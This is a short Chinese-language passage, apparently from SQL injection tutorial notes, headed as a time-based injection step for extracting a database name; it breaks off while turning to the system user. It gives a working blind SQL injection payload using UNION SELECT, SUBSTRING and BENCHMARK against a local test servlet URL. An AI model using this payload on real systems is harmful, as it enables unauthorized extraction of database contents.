1.1注入语句(通过时间注入函数) 数据库名称 localhost:8080/ScriptTest/userServlet?username='union SELECT IF(SUBSTRING(current,1,1)=CHAR(101),BENCHMARK(10000000,ENCODE('sasssG','zcxczx')),null),count(*) FROM (SELECT Database() as current) as tbl;-- password=W 判断该数据库的系统用…